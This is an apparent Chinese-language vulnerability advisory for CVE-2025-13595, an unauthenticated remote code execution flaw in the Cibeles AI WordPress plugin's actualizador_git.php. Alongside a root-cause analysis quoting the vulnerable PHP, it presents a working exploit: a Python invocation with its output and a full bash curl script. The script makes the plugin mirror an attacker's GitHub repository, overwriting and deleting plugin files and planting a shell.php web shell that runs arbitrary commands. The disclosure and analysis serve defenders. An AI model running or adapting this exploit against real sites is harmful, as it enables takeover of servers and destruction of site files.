Cibeles AI WordPress 插件 1.10.8 及以下版本在 actualizador_git.php 文件中存在一个未经认证的远程代码执行漏洞。该文件可直接通过 HTTP 访问,无需任何身份验证或授权检查,允许未经认证的攻击者下载任意 GitHub 仓库并覆盖插件文件,从而导致远程代码执行。
提供了 CVE-2025-13595.py 来演示远程攻击者上传 shell.php 并执行远程代码:
python3 CVE-2025-13595.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/cibeles-ai
[*] Exploit executed. Checking if shell.php was created...
[*] Testing shell access...
www-data
[*] Shell should be accessible at:
http://techcorp.cc/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND
漏洞存在于 /wp-content/plugins/cibeles-ai/actualizador_git.php 文件中。该文件实现了一个 GitHub 仓库镜像系统,可以直接通过 HTTP 访问,未设置任何安全控制。
直接文件访问(第1-17行):
该文件缺少标准的 WordPress ABSPATH 检查(if (!defined('ABSPATH')) exit;),该检查本可防止直接 HTTP 访问。参数直接从 $_GET 中读取,未经过验证:
$OWNER = $_GET['owner'] ?? 'cibeles';
$REPO = $_GET['repo'] ?? 'svn_cibeles-ai';
$REF = $_GET['ref'] ?? 'main';
$TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
令牌验证(第26行): 唯一的验证是检查令牌是否为空或默认值。未执行任何身份验证或授权:
if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') {
http_response_code(400);
exit("Falta token\n");
}
GitHub API 请求(第31行,第35-58行): 脚本使用用户控制的参数从 GitHub API 下载 ZIP 文件:
$apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
curl_download($apiUrl, $zip, $TOKEN);
curl_download() 函数将令牌放在 Authorization 头部中发送,但对仓库所有者或内容未做任何验证。
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"
COMMAND="whoami"
echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"
curl -s "${TARGET}/wp-content/plugins/cibeles-ai/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"
echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""
echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=${COMMAND}"
echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo " ${TARGET}/wp-content/plugins/cibeles-ai/shell.php?cmd=COMMAND"
ZIP 提取与文件操作(第133-158行): 下载的 ZIP 被解压,文件被直接复制到插件目录:
$zipArc->extractTo($extractDir);
$rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
rrcopy_into($rootInsideZip, $cwd);
rrcopy_into() 函数将提取仓库中的所有文件递归复制到当前工作目录(插件目录),覆盖已有文件。
文件删除(第152-154行): 下载仓库中不存在的文件会被删除:
mirror_delete_extras($cwd, $keepSet, $PRESERVE);
mirror_delete_extras() 函数会删除插件目录中任何在仓库清单中不存在的文件。